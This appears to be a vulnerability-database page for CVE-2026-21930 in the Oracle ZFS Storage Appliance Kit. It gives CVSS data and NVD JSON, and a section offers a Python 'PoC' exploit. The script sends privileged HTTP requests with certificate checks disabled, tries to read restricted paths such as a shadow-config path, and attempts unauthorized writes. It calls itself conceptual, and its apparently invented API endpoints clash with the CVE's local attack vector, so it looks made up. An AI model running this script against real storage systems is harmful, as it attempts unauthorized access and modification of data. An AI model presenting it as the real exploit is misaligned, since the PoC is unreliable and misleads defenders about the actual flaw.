Security Vulnerability Report
中文
CVE-2026-21930 CVSS 2.3 LOW

CVE-2026-21930

Published: 2026-01-20 22:15:56
Last Modified: 2026-01-29 21:16:12

Description

Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Filesystems). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle ZFS Storage Appliance Kit accessible data. CVSS 3.1 Base Score 2.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).

CVSS Details

CVSS Score
2.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:sun_zfs_storage_appliance_kit:8.8.0:*:*:*:*:*:*:* - VULNERABLE
Oracle ZFS Storage Appliance Kit 8.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21930 PoC - Oracle ZFS Storage Appliance Kit Filesystem Unauthorized Access # Note: This is a conceptual PoC demonstrating the vulnerability pattern # Actual exploitation requires authenticated access to the target system import requests import json import sys def exploit_cve_2026_21930(target_url, auth_token): """ PoC for CVE-2026-21930: Unauthorized file access in Oracle ZFS Storage Appliance Kit This demonstrates potential filesystem component vulnerability allowing unauthorized file operations :param target_url: Base URL of the Oracle ZFS Storage Appliance :param auth_token: Valid authentication token with high privileges :return: Boolean indicating success """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json', 'X-Oracle-Device': 'ZFS Storage Appliance' } # Attempt to access restricted filesystem paths target_paths = [ '/api/storage/v1/filesystems/shares/system', '/api/storage/v1/filesystems/config/shadow', '/api/storage/v1/filesystems/logs/access' ] for path in target_paths: try: # Attempt unauthorized file read operation response = requests.get( f'{target_url}{path}', headers=headers, timeout=10, verify=False ) if response.status_code == 200: print(f'[+] Successfully accessed restricted path: {path}') print(f' Response: {response.text[:200]}...') # Attempt unauthorized file modification modify_response = requests.post( f'{target_url}{path}', headers=headers, json={'operation': 'unauthorized_modify', 'data': 'test'}, timeout=10, verify=False ) if modify_response.status_code in [200, 201, 204]: print(f'[+] Successfully modified file at: {path}') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {path}: {str(e)}') continue return False def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21930 """ print(f'[*] Checking vulnerability status for CVE-2026-21930') print(f'[*] Target: {target_url}') # Check if the service is Oracle ZFS Storage Appliance try: response = requests.get(f'{target_url}/api/system/v1/info', timeout=10) if 'ZFS' in response.text or 'Oracle' in response.text: print('[+] Target appears to be Oracle ZFS Storage Appliance') return True except: pass return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve_2026_21930_poc.py <target_url> <auth_token>') print('Example: python cve_2026_21930_poc.py https://zfs-storage.local admin_token') sys.exit(1) target = sys.argv[1] token = sys.argv[2] if check_vulnerability(target): print('[*] Initiating exploitation...') result = exploit_cve_2026_21930(target, token) if result: print('[+] Target is VULNERABLE to CVE-2026-21930') else: print('[-] Exploitation attempt failed or target is not vulnerable') else: print('[-] Target does not appear to be vulnerable') # Additional reference: https://nvd.nist.gov/vuln/detail/CVE-2026-21930

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21930", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:55.530", "lastModified": "2026-01-29T21:16:12.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Filesystems). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle ZFS Storage Appliance Kit accessible data. CVSS 3.1 Base Score 2.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle ZFS Storage Appliance Kit de Oracle Systems (componente: Filesystems). La versión compatible que está afectada es la 8.8. vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios con inicio de sesión en la infraestructura donde se ejecuta Oracle ZFS Storage Appliance Kit comprometer Oracle ZFS Storage Appliance Kit. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle ZFS Storage Appliance Kit. Puntuación Base CVSS 3.1 de 2.3 (Impactos en la integridad). Vector CVSS: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:sun_zfs_storage_appliance_kit:8.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "556648E8-64A4-451F-9C10-22A829892C5E"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}